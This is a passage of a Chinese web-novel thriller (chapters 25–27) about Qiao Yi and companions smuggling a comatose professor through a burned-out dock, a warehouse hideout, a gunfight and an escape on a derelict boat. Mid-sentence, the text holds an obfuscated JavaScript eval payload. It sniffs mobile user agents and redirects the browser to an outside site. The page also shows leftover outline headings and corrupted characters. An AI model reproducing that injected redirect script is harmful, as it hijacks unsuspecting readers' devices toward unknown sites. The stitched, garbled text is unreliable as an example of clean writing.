行进了大约半小时，众人已是浑身湿冷、筋疲力竭。经过无数次的推、抬、拽，总算来到涵洞另一端的出口。那里有一片断裂的栈桥通往外面，昏黄的灯光下可以隐约看到一些破旧船坞与水边木质平台。看来他们已抵达废弃码头边缘。这里比工业区略偏僻，兴许“H”的势力还没严密封锁。 林忻费力搬开卡住出口的杂物，让担架车能推得出去。顾子衿则举起枪查看附近环境。学姐擦掉脸上污泥，低声说：“那个负责联络的朋友应该在码头外头的小棚屋附近。只要能到那边，我们就能暂时躲避风头，也许还能找到电源给教授做更好的医疗护理。” 乔伊看了看夜空，云层厚重，隐约透着电闪。她脑中陡然升起一种荒谬的感觉：似乎这片废土永无黎明，一直在苦难和暴烈交替侵袭。这种感觉让她忍不住回忆起，当年她还是懵懂的女孩时，最渴望的是一片纯净蓝天，阳光底下人人都能坦然微笑。可在这个时代与命运面前，她已从未见过真正的阳光——只有灰暗的大气、阴霾与雷电，有时还混合僵硬的人性。 “坚持下去……”她喃喃地催眠自己，随即帮着林忻将担架车搬出涵洞。经过漫长而艰苦的跋涉，他们终于踏上破败的码头岸边。几根生锈的铁杆插在岸边淤泥里，一艘废弃的铁壳船半倾斜地靠在滑腻的堤岸上，夜风从河道吹来，夹带着浓重腥味。周围仿佛没有人烟，只有一些残破的建筑轮廓隐于漆黑中。 学姐看了眼四周，低声道：“那边应该就是小棚屋。”她指向不远处昏暗的区域，似能看见一两个微弱亮点，如同残存的烛光。医生按照之前约定的联络方式，发送了一条信号。可是等了好半天，没见有人来应答，四下一片死寂。 “奇怪，他不可能不在……”学姐自言自语。众人对视一眼，也只能暂时将教授往那边推，期望能找到联络人。还没走出多远，一阵刺耳的警笛声从背后传来，仿佛‘H’已经追踪到这码头附近。有可能他们从空中热源探测或沿路线推算到了这里。一想到这点，所有人都忍不住快步加速。 抵达那片小棚屋附近时，眼前景象令所有人心里一沉。只见那堆低矮棚子大多被焚毁或拆开，焦黑的木板散落地面，空气中残留烧灼味。显然，这里曾经被一把火烧过或遭到什么摧毁。而学姐所说的联系人踪迹全无。乔伊心凉了半截：难道这里也不安全了？ 学姐沉默盯着那堆废墟，良久才咬牙说：“看来，他也出事了。”她不甘心地四处查找痕迹，可一无所获。医生叹了口气：“现在怎么办？”顾子衿踹开几块木板，摇头：“很可能有人抢先一步发现这里，把人抓走或者杀了。” 乔伊看向躺在担架车上气息微弱的教授，心中揪作一团：摆在他们面前的却又是一条死路。没有联络人、没有安全屋，岂不是连落脚地点都失去了？正不知所措，突然有道微弱的电筒光从不远处晃来。几个人同时一惊，全都戒备起来。 那电筒光晃了一下，随即一闪一闪地照向他们，仿佛是一种讯号。林忻先反应过来，用枪口点地，但没有射击。学姐也立刻压低声音：“快躲到棚子另一侧，看是谁。”他们将担架车移到破房侧，紧盯那道光线。 过了片刻，一个瘦高的身影小心地探出头来，浑身黑衣，说话声音颤抖：“是……是洛西在吗？他让我在这儿等……”学姐一听“洛西”这个名字，激动得险些跳起来。那是她的暗线好友代号！她旋即压低声线：“你是谁？洛西呢？！” 那人似乎听出她语气里的暗示，小跑过来，但仍保持距离：“洛西牺牲了，棚屋遭到袭击，他临死前让我在附近埋伏，万一你们到了……让我接应你们去另一个藏匿点。”听到这话，学姐身体一晃，几乎站立不住。乔伊赶紧扶住她，嘴里却说不出话。人死如灯灭，又一个战友倒下。 短暂的悲痛过后，他们没有太多选择。学姐咬牙与那人交涉，确认他可以带路。对方紧张地看着担架车上的教授：“你们真的要带个伤患？现在到处都是搜捕队，路上不好混。”乔伊冷冷回??：“他很重要，我们不会扔下他。” 那人见她目光坚决，也不再废话，招呼道：“那行，你们跟我来吧。快点，不然‘H’的人追过来就晚了。”一行人在夜幕与不祥的爆炸声中，再度启程。 25.暗流离岸，命运的迂回曲 夜幕下，潮水在破旧码头边拍打出低沉回响，宛如命运鼓点般敲击在每个人心弦上。乔伊紧紧抓住担架车的边缘，警惕地四下张望，生怕又有不速之客闯入。她身侧，顾子衿身背简陋的突击步枪，神情凝重；林忻捂着先前刀伤的手臂，强自忍痛；学姐微微喘息着，用袖子擦去脸上的汗和灰尘；医生则垂头看着担架车上昏迷的教授，神色焦虑无比。 一小时前，他们终于崩溃般地离开工业区的废弃厂房，穿过了阴暗的涵洞，来到这座据说有暗线接应的码头区。然而迎接他们的，却是一场焚毁与背叛。学姐原本与“洛西”约定于此交接，可他们只碰到尸骸般的废墟与不知来路的残兵。站在眼前的是一个瘦削高挑的男子，披着被烟火呛黑的外套，眼神依旧闪烁着警觉。他告诉众人：洛西已经死了，棚屋被黑市势力攻破，这里早已成为险地。 学姐听到消息时，整个人仿佛坠入深渊。她在残骸里翻找那位故友遗留的迹象，却只找到半块烧焦的记事本，而上面最重要的密令信息几乎被烧得看不清。她强忍泪水，用手指将灰烬抹去，小声念了两句，却是一片破碎残词。那一瞬间，她忽然意识到：想要带教授到此安顿的计划已经化为泡影。 显然，瘦削男子也能看出她的绝望。他神色黯然：“黑市出高价悬赏‘量子数据’。听闻那和一群研究人员有关，洛西起先还想护送其中一人离开，却没想到泄露了行踪……我们身边出了内鬼。” 乔伊心中猛地收紧：果然，教授研究的所谓“量子核心”已经被许多人盯上，黑市的悬赏与“H”的使命交错，使得整个工业区和码头都暗流涌动。她望向教授，依旧不省人事，医生不断为他测量脉搏、注射微不足道的营养剂。她感到某种深重的无力：如果教授就此死去，那连带着所有线索都将无处追寻。而她甚至无法确定自己与教授的恩怨是否有机会解开。 瘦削男子没有更多时间解释，只催促他们抓紧离开：“这里已经暴露，黑市与‘H’短期内都会搜遍这片码头。若你们真想保住这个伤患，就必须再往深处藏。我们有人在船坞那边设了个临时据点，还能给他输点氧气。” 学姐显然对眼前的陌生人抱有疑虑，顾子衿与林忻更是随时戒备。可他们明白此刻早已无路可退，再多迟疑，只会让巡逻或杀手率先赶到。为了教授的一线生机，必须赌这一把。于是，众人再度推着担架踏上湿滑的泥道，沿着码头边缘小心前行。 一路上，破碎的渔网、倒塌的吊车和残损的铁壳船散落在潮水里，发出断断续续的撞击声。乔伊每一次深呼吸，肺部都像被潮湿盐分与烟尘呛到。她脑海里忍不住又响起那个阴郁的声音：“来吧，继续挣扎。看看你会在第几处角落里倒下？”她知道那是“拉普拉斯妖”投射出的幻念，却更像命运本身的讥嘲。不！乔伊心里暗暗反抗，她绝不接受命中注定的失败。 大约十几分钟后，瘦削男子在一段堤岸前停下脚步，用力搬开一块伪装的铁板，下面竟藏着一道幽暗的门。大门后方是一道倾斜往下的斜坡，似乎某种废弃仓库或地下通道。里面散发着陈旧与霉潮味，昏黄灯光摇曳其中。她心头警惕不已，但还是第一个推着车进入。 仓内空间并不算小，只是堆满破箱与生锈零件。此刻有几个神色黯淡的人蹲在墙角，看见陌生人带了乔伊等人进来，顿时有些恐慌。瘦削男子压低嗓门：“自己人，别慌。有重伤病患要先安置。”一个鬓角斑白的青年上前，急匆匆地为教授把脉，听诊后皱眉道：“得给他输氧和消炎，不然支援再晚点儿，他撑不住。” 医生也立刻加入，将背包里的少量药物拿出来，与这名青年合力翻找仓内的破旧医疗器械。费了好大的劲，才勉强找到一台落满灰尘的氧气机和生锈输液架。乔伊与顾子衿一起把教授从担架车移到干燥地面，再垫上几层破布当临时床铺。每个步骤都让教授痛苦地皱眉，呼出短短气息，仿佛下一秒就要窒息。乔伊抚着他微凉的额头，心里一阵酸楚：“教授……再坚持一下……再坚持……” 学姐坐在一旁，望着尚在试图修理氧气机的青年们，一遍遍问：“能修好吗？”青年顾不得回答，只埋头敲打管道。林忻在旁警戒，见学姐那副惴惴不安的样子，忍不住安抚道：“一定能修好的，我们不会放弃教授。” 就在仓内的人群忙碌不已时，外面传来隐隐的引擎声和噪乱。仿佛有一队车辆或船只驶来，隐约夹杂吆喝的声音。“是黑市势力，还是‘H’的人？”顾子衿的嗓音透着紧张。瘦削男子皱紧眉头，低骂：“也可能两边都来了。”他看了看乔伊他们，匆匆交代：“待会儿要是真被撞见，你们别乱动。我会想办法打发他们走，只要不露出马脚。” 言罢，他和仓里另几个伙计迅速分头躲到门口附近或货箱后面，以防对方强闯。乔伊与林忻对视一眼，也各自握紧武器。学姐轻轻摸了摸教授的手背，说：“我们一定会保护你。”医生给教授插上简易输液针，祈愿这些低廉药剂能延缓他的衰败。 门外的噪声果然越来越近。几束灯光晃进仓墙的缝隙里，伴随杂乱脚步声和大声呵斥。乔伊屏住呼吸，几乎感到心脏沉到谷底。只要那些人撬开门，或者有人通风报信，后果将无法想象。林忻下意识地用身体挡在教授身前，手里攥着缴获来的□□，一旦局势失控，他将不惜一切反击。 凝滞的空气中，瘦削男子翻出一把破旧散弹枪，轻轻抵在门背后，和另外两个人相□□头示意。伴随着“有人吗？开门检查！”的怒吼，外头有人猛烈敲打那块伪装铁板。男子大喝：“这儿没人！别砸了，再砸塌就完了！”演得颇像个匿藏仓库的小混混。门外的人破口大骂，又踹了几脚铁板，却似乎顾忌这里地形复杂，不敢随意闯入。僵持片刻后，一声嘈杂的无线电呼喝从远方传来，似在调遣他们到别处。于是那伙人骂骂咧咧地离去。 直到确认外头脚步声逐渐散开，仓内的人才如释重负地出了口气，有人半跪在地，大口喘息。乔伊怎么也没料到，此时此地居然能逃过一劫。可她的神经依旧绷着：这绝不可能是最后的危机。黑市如同毒蛇，“H”同样虎视眈眈，这片码头迟早会成为修罗场。教授能否撑到他们找回生机？ 仓内那鬓角斑白的青年总算把氧气机修通电，把简易输液瓶插好，像接通了一条微弱的生命线。教授呼吸略显平稳，医生探了探脉搏，眼里浮现一抹欣慰：“暂时稳住了……”学姐坐在他枕边，一时间无法言语，只能攥住教授的手掌，指尖微微颤抖。乔伊则在心底默默重复：你一定要撑下去。在那弹指光阴里，乔伊又看到了内心那抹暗影，她听见“拉普拉斯妖”似在嘲笑她的不自量力，却也像在给她无声的警告：想改变死亡结局，你还得付出更多代价。 过了许久，瘦削男子与他那几位伙伴才商议出新的对策：“此处容身不过一时。如果‘H’大规模排查，或者黑市狗腿子发现仓门暗道，他们把这里包围了可就跑不掉。”林忻眉头紧锁：“那就搬到哪儿去？我们实在没体力了。”顾子衿也沉沉问道：“难道还有别的路通向更安全的地方？” 男子抿嘴，似乎犹豫。“东边水道外，有艘被废弃的铁制驳船，构造牢固。要是能把发动机修好，就能顺流而下，逃到更远的下游地带。那儿是黑市和‘H’都鲜少涉足的边界区。不过，要把你们这位重伤患者先搬过去，可不是更危险吗？万一途中遭遇阻截，你们还能抵挡得住吗？” 大家面面相觑。学姐看向教授的病容，深吸一口气：“只要有一线希望，我们都不想放弃。他绝不能再被抓，也 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“那就等夜深再走。”林忻提议，“我们轮流守夜。”顾子衿联想到之前那场追杀，只希望能多一刻让教授恢复一些体力。学姐也默默点头，似乎回过神来，加入讨论：“多谢你们肯冒险帮我们。洛西不能白死，我们一定要将教授平安送出。” 仓里的人简单分配了值守和巡逻班次，有人把破棉被与塑料布铺成临时卧处，让乔伊等人休息。乔伊却很难入睡，她一直坐在教授旁边，隔着昏黄的灯光，盯着那张憔悴和苍白的面孔。拉普拉斯妖的阴影像鬼魅般在她脑中游荡：“你在固执什么？人与人之间的羁绊，不过是演算中的变量，没有真正自由……”乔伊低声咬牙：“要是当下停留在这‘算式’里，不去改变，我才是真正的沉沦。我要让你知道——即便是预测最强大的妖，也有看漏的命运。” 也许是她眼底的倔强感染了教授，忽然，他嘶哑地咳了几声，似从浅层昏迷中微微动了动手指。乔伊心头一震，将他的手攥得更紧，唇齿轻抖：“教授……你能听到吗？求你……活下来，就像当初你告诉我‘世界有无数可能性’一样……”尽管他没有睁眼，但乔伊隐隐觉得：也许深藏的意志在下一刻会苏醒。 凌晨前，那鬓角斑白的青年检查了教授的心跳和输液情况：“暂时还行，但再耽误两天可就不行了……你们必须赶快找到更安全的地方，或者一台好的医疗设备。”学姐点头，轻轻将破毯拉高盖住教授胸口，神情无比沉痛却又坚定：“那就照计划行事。我们一定要离开这个是非之地。” 不久后，门外再次传来嘈杂的动静，竟是“H”的巡逻车驶过，灯光划过仓壁。众人屏息戒备。所幸那些车队似乎暂时没有停留，一路往码头外沿方向行进。乔伊心中稍松，知道远方战事仍在继续，听得见炸响与枪声此起彼伏——工业区与码头恐怕已完全沦为各方争夺的修罗场。 微弱的灯火中，每个人都疲惫不堪地沉默。谁也不知道下一刻会不会有人破门而入，或一场更惨烈的杀戮。但与此同时，每个人也都下定决心，一旦夜色最深沉时，就是他们撤离的绝佳时机。只要能将教授送上那艘废船，或许就能迎来一丝奇迹，摆脱这暗流涌动的绝望之地。 乔伊独自倚靠在冷冰冰的铁壁上，目光从教授身上掠过，也望向林忻、顾子衿与学姐——他们都为了那个即将燃烧殆尽的生命而拼却一切。她忽然想起自己最初被拉普拉斯械化时的痛苦与抗争，也想起教授曾说过“人的意志也许不是绝对自由，但在确定与不确定之间，总有一线可变的奇迹。”或许如今，正是他们要去挣得这奇迹的时候。 灯火摇摇曳曳中，她似乎听到外头海潮澎湃，一声声似在鼓舞，又似在哀吟。她心里却骤生勇气：命运再可怖，也敌不过人心的牺牲与顽强。只要等到天色最深沉的那刻，他们将踏上下一段征程。而这趟旅程，究竟是通往生路，抑或坠向更可怕的深渊？谁也不敢断言。 26.夜潮绝域，封锁与破局 夜幕深邃，像一块浑浊的幕布笼罩在废弃码头上方。昏暗的灯影随着潮汐起伏，折射出铁锈与垃圾之间的寒光。从破损仓库的天花板缝隙往外看，仿佛依稀能见到远方熊熊燃烧的工业区——那里曾是他们刚刚逃离的炼狱，如今灰烬与硝烟滋生，正逐步延伸到港口每一处。乔伊紧贴着冰冷的铁壁，耳边是同伴们低声交谈与教授微弱的呼吸交织，就像大难临头前最后的平静。 自他们把教授送进这狭窄仓库，已经过去了四个多小时。期间，鬓角斑白的青年和医生联手修复了一台氧气机，用尽各种破旧零件拼凑出勉强能用的输液装置。学姐一直守在教授身边，连眨眼都很少，生怕失去这个为数不多的生机。瘦削男子则在仓门口一遍遍观察外面的动静。林忻与顾子衿轮流警戒，预防黑市雇佣兵或“H”的队伍突然闯入搜查。 仓中一盏油灯发出不稳定的火苗，映照着每个人的紧张神色。乔伊坐在角落，一手握着短刀，脑海里再度响起熟悉的嘲弄：“要么趁现在逃走，丢下那条注定无可挽回的命？要么就在命运轨道上与他一起沉沦？”乔伊知道这声音属于她内心深处的“拉普拉斯妖”，那个象征“宿命计算”的阴影此时像一条毒蛇般缠绕。她勉力甩开这种念头，专注于现实：他们必须带教授离开这里。这不光是为了个人恩怨的结清，更是一种对“命运注定论”的挑战。 “……黑市还有三小时左右就会进行全面搜索。”瘦削男子低声说，“同时，‘H’的装甲巡逻车也在往这靠。可以预见，这片区域将被双重挤压。若我们留在仓库，迟早被堵死。” 学姐抬头，嗓音有些嘶哑：“所以，我们没有别的路？”问话却亦是自答：没有别的路。他们只能想办法把教授转移到废船上，然后凭借那可能仍能发动的旧引擎，舍命一搏离开。即使船行速度龟速，甚至在半途抛锚，他们也必须赌这一线微光。林忻、顾子衿和乔伊都无言地互相点头，目光中是一致的决心；医生与鬓角斑白青年也无法提出更好办法。 为了确认废船具体状况和观察黑市守哨分布，半个多小时前，乔伊随瘦削男子和林忻潜行过去侦查。那一幕至今还深刻在她脑中：两名黑市打手守在栈桥尽头，随手抽烟、互相对骂，似对码头夜班心生厌烦。稍有不慎，他们就会被发觉，而以他们现在的装备，还带着重伤教授，难以同黑市展开正面硬拼——更别提“H”也在加派人手。乔伊当时躲在咖啡色危楼后，紧张得心脏快要跳出嗓子眼，她竭力让自己回神，告诉自己：活下去，不光是为了教授，也是为了证明，那曾经在实验室里不可撼动的“命运预言”并非绝对正确。 她把侦查情况原原本本报告给仓库内的人后，瘦削男子提出夜半时分出发：“等到后半夜，巡逻班次最松懈，就推着担架往废船移动。若我们运气够好，也许能避过哨兵。若不幸被发现……只能拼死突围。”他的话让所有人都清楚，这是一场步步惊雷的赌博。一旦失利，将无处躲藏。 夜的脚步在焦躁中显得异常漫长。为了让教授获得更多休息，大家在仓库里又拖延了至少一个小时。除了给他做简单的吸氧和输液，还想看看他能否在转移前稍微恢复一点体力——总归得让他的心跳稳定起来，否则奔波途中随时可能失去呼吸。学姐这段时间几乎不离教授身侧，轻声呼唤他的名字，但教授的意识仍深陷昏迷，有时会咳嗽几声，却难以张开眼睛。 终于，距离天明大约还有三四个小时，空气里混杂着海潮味与机油腐味，夜色反倒更加凝重。外面稀稀拉拉的爆炸声与金属撞击声此起彼伏。远一点的位置似乎传来隐约吆喝，谁都无法确定是黑市的巡逻队在搜查，还是“H”的武装车队再度增援。瘦削男子探头望了下，招手示意：“差不多该走了，再晚就可能遇上他们换班。” 乔伊与林忻小心地将教授抬回担架。医生扶住输液瓶与氧气管，嘱咐道：“千万别让他的头再受撞击。”学姐取出仅剩的绷带，替教授固定住右臂。顾子衿从旁协助，脸上写满忧心，却没有退却的意思。每个人都知道，这趟路生死难测，但再留也只能等死。 在瘦削男子带领下，众人关掉仓库里那盏油灯，小心推开沉重的铁门，暗中摸索着走出这片藏身之所。外头苍茫的夜色包围着他们，码头上散落废弃集装箱与生锈的Machinery，仿佛逝去文明的遗骸。乔伊拽紧刀柄，不断提醒自己：“别怕，勇敢一点。”可就在他们刚拐过一个废旧集装箱时，忽然听见前方传来压低却清晰的对话声。 一阵紧张在队伍里瞬间弥漫。林忻举起手让大家停下脚步，这时他们才发现不远处有三个人影，正聚在一起讨论什么。看衣着，半是黑市打手，半是来路不明的某种线人。那人影还夹带着一只大狗，正朝着这片区域警惕地逡巡。 若在往常，乔伊或许还会想等待机会潜行绕路，可他们现在拖着担架，教授随时可能咳嗽出声，引起注意。瘦削男子小声咒骂：“该死，他们怎么提前跑到这边了？”学姐一把扶住担架，紧张到呼吸紊乱。医生匍匐在教授身边，竭力稳住输液管。他们只能屏息躲在暗影里，祈祷那条狗不要过来。 然而天显不遂人愿，大狗的嗅觉远比人类更敏锐。只见它原本漫不经心地晃着尾巴，忽然鼻端一抽，朝乔伊所在方向发出低沉的警戒咆哮。站在它身旁的黑市打手立刻提高声音：“谁在那边？出来！”那几个人随即分散包抄，拎着枪快速靠近。 电光火石之间，林忻跟顾子衿对视一瞬，迅速伏地挺身，举枪瞄向来人。乔伊也将短刀握得发紧。她回头看向教授：此刻最要命的是教授根本无法自保，一旦爆发激战，枪声必定惊动更多敌人。可这又能如何？再拖一秒，便被围死。就在对方冲近时，学姐咬牙低吼：“打晕他们！保护教授！” 一片混乱中，林忻先开了一枪，撂倒那名端着步枪的壮汉。顷刻，黑市打手们暴怒地回击，火舌在夜色中闪耀。瘦削男子和几个同伴也赶忙抬枪射击，子弹四溅，打得海水和钢板叮当作响。大狗狂吠着扑过来，被顾子衿一脚踢翻，抽刀砍翻其颈侧。血腥气在夜里极其刺鼻。乔伊死死咬住唇，手上微微颤抖：她不知道自己有没有能力杀人，但在此境，她唯有挥舞短刀，协助林忻制住另一个扑上来的敌人。 几秒后，枪声与喊声戛然而止，三名打手不是被打昏就是倒在血泊里。瘦削男子踉跄地扶住一只擦伤的胳膊，神色惊魂未定：“快！我们得马上离开，不然附近的同伙很快会赶到。”乔伊看向担架上的教授，他的眼皮颤动得更厉害，似受到这场枪战的惊吓。医生赶紧半跪着安抚教授的胸口，小声道：“别怕，别怕……”可他自己也在发抖。 子弹的硝烟味犹在空气中盘旋，血迹顺着地面缝隙流淌，仿佛下一刻就会形成新的修罗场。众人不敢迟疑，继续往码头深处疾行。枪声也许已经惊动远方的黑市增援，谁也无法确保接下来不会迎来更大规模的袭击。乔伊一边推着担架车，一边在心里与“拉普拉斯妖”的阴影抗争：这就是命运要告诉她的残酷？她为何仍要继续？她不愿舍弃任何人哪怕看似毫无胜算。 一路风声鹤唳，林忻和顾子衿轮番探路，学姐更是寸步不离教授身边。瘦削男子带领下，他们七拐八拐，终于在半个多小时后，抵达了那艘锈迹斑斑的废船附近。与其说是一艘船，不如说是被废置在浅滩上的巨大铁块：船舷残破，甲板上堆满杂物。幸运的是，机舱位置尚能进入。此前他们了解过，这艘船的发动机也许还勉强运转，只不过需要大量柴油和临时的电修工作。 夜雾厚重，令船身看上去宛如怪物的轮廓。学姐抚摸教授苍白的面庞，轻声唤道：“我们到了……撑住。”鬓角斑白青年和医生率先跳上一块铁板，一起去查看机舱。林忻与顾子衿则将打晕的敌人枪械收拢，以防下一场战斗。瘦削男子招呼乔伊一起合力将担架推到甲板下的缓坡，每一步都小心翼翼，担心塌陷。 当他们总算成功把担架车抬上船，安装好氧气机与输液架，所有人都累得气喘吁吁。甲板上死一样的寂静，只能听到林忻低声抱怨：“这地方还能开走吗？”顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046478|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子衿警惕地环顾四周：“总比等死好。”鬓角斑白青年则从机舱探出头来：“引擎有戏，但破损也严重，估计动静不小，要是真开起来，势必会有巨响阵动半个码头。” 学姐神情凝重：“那我们必须做好迎击准备。”她转而去看护教授。数据终端与药剂几乎用尽，但教授的呼吸似乎比之前稍平顺些，也许是走一路摇晃反倒激发了他某些求生本能。乔伊提着心看了好一会儿，终于暗暗吐了口气。曾经她恨他也怨他，但如今，她却希望他一定要活下去。 夜色更加深沉，远方时不时传来警笛或爆炸声，仿佛整个港区都在崩坏的边缘。时间紧迫。鬓角斑白青年和医生顾不上休息，立刻钻进机舱，试图手动启动柴油机。瘦削男子与学姐带领其余人查找船上可用的物资：绳索、棉被、甚至旧式武器零件。他们需要一切可利用的东西来防守或逃亡。乔伊则提刀守在教授身旁，脑子里乱得厉害，想起过去在实验室被“拉普拉斯妖”一次次准确预言命运的绝望，现如今却没有比此刻更渴望违抗宿命——就如同发起一场注定凶险的豪赌。 约莫过去半小时，一阵“轰、轰、轰”的闷响打破了夜的死寂，那是柴油机几经挣扎后的发动声。船身微微震颤，如同沉睡许久的猛兽缓慢苏醒。林忻和顾子衿立刻跑到甲板侧缘观察动静，瘦削男子面露一丝激动又紧张的神色：“能动了就好，但这噪音肯定会招来追兵。” 果不其然，机舱刚启动没几分钟，码头方向就传来急促的喊声与车辆引擎声，夹杂探照灯刺眼的白光。学姐心头一凛：“来了。”她看向担架上毫无抵抗能力的教授，顿时一股寒流涌遍全身——若这一刻被黑市或“H”包围，他们恐怕只能同归于尽。 “起锚，马上！”鬓角斑白青年一边高喊，一边疯狂旋转某个老式操纵杆。船底传来剧烈的金属摩擦声，破船吃力地开始向岸外推移。医生在旁帮助维持引擎稳定，舱内烟尘弥漫，让他们不断咳嗽。乔伊扶住担架，以免教授被震翻。随着废船一次次发力，船体哐哐作响，甲板像要散架，但确实缓缓离岸了。 码头方向的光束越逼越近，学姐看见远处已有火花闪现，似乎是子弹或□□在向他们试探性打击。顾子衿骂道：“我们一定要撑过去！”林忻则咬牙不语，举枪朝港口方向连打几发，试图阻挠敌人靠近。船身不断颠簸，铁板摩擦声音尖锐刺耳，每一次都让乔伊心惊肉跳。 终于，破船勉强驶离码头区数十米，船尾拖着漫天火星般的噪音和黑烟。站在船侧的瘦削男子喊道：“往左！往左！那边水道比较深！”鬓角斑白青年奋力掌舵，学姐也赶去舱里帮忙，医生忙着给教授加固输液针头。乔伊回头一瞥：码头上的黑影已汇聚成一支小规模的武装队，正疯狂朝这边射击，子弹噼啪落在船身。万幸的是，废船的钢板依旧够厚，还未被直接打穿。 在枪火交错中，乔伊无暇多想，只再度感受到自己胸腔里那股疯狂的心念：无论如何——驶离这里！她仿佛听到拉普拉斯妖在脑中咆哮，又像在嘲笑：“你以为这样就能改变结局？”她强忍剧痛，把心里所有的怯懦与过往纠缠都抛在身后。她要赌一个未知。她必须让教授在这艘破船上活下来，否则这一切都将化为空洞的挣扎。 伴随着机器轰鸣与枪声呼啸，废船终于慢慢驶入更漆黑的水域，与码头拉开了距离。黑市与“H”或许会派船追击，但至少暂时，他们成功从封锁中撕开了一条口子。船舱内，鬓角斑白青年指挥大家把柴油机减速，以防过热。林忻和顾子衿带着瘦削男子巡查甲板是否漏水。学姐坐回教授身旁，轻轻抚去他额头上的冷汗，看着他颤抖的眼睑，眼眶微湿。 乔伊也默默凝视教授——那个曾经置她于绝望的人，如今却成为她要拼死护住的存在。或许他们之间，还有许多旧账待清，还有关于“拉普拉斯妖”真相待揭示。但眼下最要紧的是，让他活下去，让他们所有人摆脱命运的枷锁。破船颠簸得越来越厉害，船体像随时会散架，可他们依旧咬牙撑住。一切，只为了这一条孤注一掷的路。 27.潜潮破晓，命数交织之海 海面上一层狐白色的雾气慢慢散开，迎来夜与昼的交替时刻。破旧的柴油机依旧在舱底发出断续的轰鸣，但声音已明显虚弱许多，像一个苟延残喘的老人。破船颠簸在茫茫海浪之间，甲板上随处可见被敲凿过的痕迹，钢板拼接处仍滴下海水。对于乔伊一行人来说，这艘被他们当作救命稻草的船，是暂时的庇护，亦可能成为葬身之所。 乔伊趴在船侧护栏，看向远方灰蒙蒙的天幕，脑中依旧嗡嗡作响。经过一夜的布置与抢修，他们已筋疲力尽：林忻和顾子衿几乎没停过，为了封堵船体裂口而弄得浑身油污；医生和鬓角斑白青年轮番守在教授身旁，不断检查那台补丁百出的氧气机是否还在运转。学姐也熬得眼眶泛红，不时替教授擦拭脸颊，深怕他在昏迷中呛住海潮湿气。 微弱的晨光照亮了更多暗沉细节：船上储备的燃料只剩不到三分之一，干粮???干净水源更是捉襟见肘。再加上教授拖着重伤急需治疗，这些问题像无数绳索，把他们的生机紧紧束缚在狭窄的时间缝隙中。乔伊心中反复回想那些“拉普拉斯妖”阴影下的宿命迷局，却怎么也接受不了：“难道我们只是延长了必然毁灭的结局？没有别的路吗？” 有趣的开篇 就在乔伊有些恍惚之际，身后传来“不好——水又进来了！”的喊声。她猛地回神，转身奔向声源。原来船舱侧部的补丁板又有一块脱焊，海水见缝就钻，已经弄湿不少箱子。林忻气得用脚狠狠踹船壁：“该死的破铜烂铁，它到底还能撑多久？”顾子衿则扯上工具包，打算再度尝试把铁钉敲入裂缝，哪怕只能临时堵漏，也要尽最大努力去做。 “别浪费时间埋怨了，快动手！”学姐也加入帮忙，眉宇间是掩不住的焦虑。她此次远离安全区，为的就是救回教授，也保全乔伊、林忻等伙伴。虽说她平时性子温和，但在眼下环境，却难免变得雷厉风行。 铺垫 狭窄船舱里，教授丝毫没有苏醒迹象。医生测了测他体温，叹口气：“烧还没退，幸好还有点药，只能慢慢撑。可如果再不找到更稳定的医疗条件……抱歉，我也无力回天。” 鬓角斑白青年安慰道：“就算只是维持，也要维持下去。教授掌握着量子数据的核心信息，我们得帮他撑到最后。”医生轻轻点头：“我理解。只是缺电、缺水、缺药，一样都没解决。” 乔伊站在一旁，“拉普拉斯妖”的冷酷嗓音再一次在她脑中出现：“把所有人都拖入死路，这就是你所谓的挣扎？”她咬住嘴唇，望向教授那张苍白无神的脸，心跳加快。曾几何时，乔伊恨透了他“宿命公式”的理论，却又渴望能用行动推翻它。也许保护教授，恰恰是让自己相信“人力可以胜天”的方式。她收敛心绪，对鬓角斑白青年和医生说：“药物还有多少？能不能先想办法让他保持清醒片刻？万一他醒来，或许会给我们提供什么指引。” 医生摇头：“药量不多，刺激性药针会让他彻底透支体能，得慎用。”乔伊低声嗯了下，一时间没再多问。她转过身走到甲板，想帮林忻那边想办法。可谁也不知道，这艘破船究竟能漂流多久，下一步去向何方才是生机，若真的无计可施，他们可能就要与海底拥抱。 高潮：突发状况与命悬一线 忽然，一声尖锐的金属扭曲声从船尾传来。伴随船体猛烈晃动，甲板差点把乔伊震翻。林忻刚稳住自己，皱眉朝船尾跑去。只见机器舱的门口冒出浓浓黑烟，柴油机似乎严重过热，发出嘶哑的鸣叫。若此刻柴油机熄火，整个船会在浪潮中变得毫无抵抗力。 鬓角斑白青年匆匆赶到，一把拧开机舱门，呛得连连倒退：“太热了！风扇装置罢工，我们得手动减少运转负荷。”医生也随后赶到，几个人连同林忻一起把外壳打开，试着浇冷海水降温。滚烫的白烟夹杂着蒸汽扑面而来，他们被烫得脸部发红，却只能硬撑。乔伊在旁边帮助递水，却不禁害怕：引擎若烧坏，他们只能在海面上原地漂流，形同等死。 学姐见状也冲上前，但被林忻喝住：“别挤进来，这里危险！”她没理，依旧要想办法帮忙，抓起工具抖着手拆下细长管路。一阵忙乱后，总算把柴油机的运转频率降了下来，黑烟慢慢消散。鬓角斑白青年喘着粗气，疲惫道：“过程凶险，但算是暂时保住了动力。” 可就在众人松一口气时，对讲机里传来瘦削男子原本安置在瞭望处的呼唤：“快……快到甲板来……有船影在远方，可能是黑市或者‘H’的！”这句话让所有人的心脏骤停：他们最不愿面对的可能，还是来了。 顾子衿拭去额头冷汗，一咬牙：“不管是谁，一旦追过来，我们必定没有还手之力。”林忻愤怒地锤了一下船壁：“糟糕，难道他们还是不肯放过我们？”学姐眼神一凛，当机立断：“先弄清对方意图。如果真是敌人，那我们只能赌最后一把。” 乔伊攀上舱顶，拾起船上仅存的破旧望远镜，朝远方眺望。果然看见一条快艇般的剪影正朝他们方向缓缓逼近。海浪朦胧间看不清旗帜，但那催人的压迫感却隐隐袭来。她抿住嘴唇，耳中似回荡着拉普拉斯妖的低语：“这就是逆天而行的代价，等待你的只有新的捕猎者。”她却固执地想：还没有结束！ 紧张对峙：希望or绝望？ 